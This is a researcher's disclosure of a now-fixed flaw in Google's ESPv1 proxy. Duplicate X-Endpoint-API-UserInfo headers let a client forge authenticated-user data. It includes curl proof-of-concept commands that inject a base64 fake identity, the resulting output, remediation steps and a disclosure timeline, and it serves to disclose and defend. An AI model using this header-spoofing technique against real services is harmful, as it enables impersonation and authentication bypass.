Extensible Service Proxy (a.k.a. ESP) is an open source software by
Google assisting Cloud Endpoints, a product on Google Cloud Platform.
ESPv1 is an nginx based proxy which enables API management
capabilities for JSON/REST or gRPC API services.
In a typical deployment, ESP is running and fronting the backend
service on the same host (the backend listening in a private network
namespace which is accessible to the public only through ESP). In
other words: ESP is running in the security boundaries of the customer
(from Google’s point of view).
Among other features, it supports various authentication mechanisms
and provides a consolidated interface for the backend.
ESP injects a special HTTP header (X-Endpoint-API-UserInfo) about the
authenticated remote entity while proxying the request to the backend.
The documentation of this feature can be found here:
https://cloud.google.com/endpoints/docs/openapi/authenticating-users-custom#receiving_authenticated_results_in_your_api
To prevent forgery, ESP removes this header from the incoming
requests. However, the implementation did not do this properly and
“removed” only the first occurrence of this header from the incoming
requests. Consider the following example (which is sent to an API
method that does not require any kind of authentication):
curl -H “X-Endpoint-API-UserInfo: whatever” -H
“X-Endpoint-API-UserInfo: this-header-bypasses-the-protection” …
The backend service received the HTTP request with the following
headers (yes, the first one is an empty one):
X-Endpoint-API-UserInfo:
X-Endpoint-API-UserInfo: this-header-bypasses-the-protection
API methods that do require authentication are also affected. In this
case ESP includes a valid X-Endpoint-API-UserInfo header as a first
one, but it passes through the malicious secondary
X-Endpoint-API-UserInfo header as well. The backend received a request
like this:
X-Endpoint-API-UserInfo: legitimate-header-constructed-by-ESPv1
X-Endpoint-API-UserInfo: this-header-bypasses-the-protection
What is the impact of this? It depends on how the backend application
processes the incoming requests, more precisely, which version of the
UserInfo header would the application business logic actually see and
work with. So this depends on the language/framework in use. Some
implementations return:
– only the first piece (e.g. Golang’s Header.Get())
– all of them in an array (e.g. Golang’s Header[“…”])
– the last occurrence (e.g. Symfony in PHP)
– each header joined into a comma separated string (e.g Python or Ruby).
The PHP version has high impact, so I demonstrated this to Google via
the following steps:
Setup Cloud Endpoints along with ESPv1 by following the PHP steps
official tutorial:
https://cloud.google.com/endpoints/docs/openapi/get-started-compute-engine-docker#php
Obtain a valid ID token:
valid_idtoken=”$(gcloud auth print-identity-token
–audiences=”YOUR-CLIENT-ID” )”
Verify it worked (this is invoking an API method that requires a
Google signed identity token and echoes back the info received via the
X-Endpoint-API-UserInfo header):
curl –header “content-type:application/json”
“http://35.209.207.62:80/auth/info/googleidtoken” -v -H
“Authorization: Bearer $valid_idtoken”
So you should see something like this:
{“claims”:”{u0022issu0022:u0022https://accounts.google.com …
Now construct a userinfo json with your desired content:
fake_userinfo=”$(echo ‘{
“id”: “from-sub”,
“issuer”: “from-iss”,
“email”: “from-email”,
“audiences”: [“from-aud”],
“claims”: “whatever”
}’ | base64 -w0)”
And send the crafted request:
curl –header “content-type:application/json”
“http://35.209.207.62:80/auth/info/googleidtoken” -v -H
“Authorization: Bearer $valid_idtoken” -H “X-Endpoint-API-UserInfo:
doesntmatter” -H “X-Endpoint-API-UserInfo: $fake_userinfo”
The output will be:
{“id”:”from-sub”,”issuer”:”from-iss”,”email”:”from-email”,”audiences”:[“from-aud”],”claims”:”whatever”}
Fix and remediation:
Google has fixed this flaw with this commit:
https://github.com/cloudendpoints/esp/commit/e310c4f91d229a072507f80c73811489b4cdff27
Administrators of ESPv1 fronted services where the backend is
vulnerable should upgrade to a recent version of ESP with the above
fix included. Alternatively, migrate to ESPv2 which is not affected by
this flaw at all.
(https://cloud.google.com/endpoints/docs/openapi/migrate-to-esp-v2)
Timeline:
Aug 9, 2021 – flaw discovered, report submitted
Aug 9, 2021 – triaged, “looking into it”
Aug 12, 2021 – some technical follow up questions back and forth
Aug 12, 2021 – Submission accepted (“Nice catch!”), ticket filed to
the product team
Sep 18, 2021 – “all the bugs we created based on your report have been
fixed by the product team”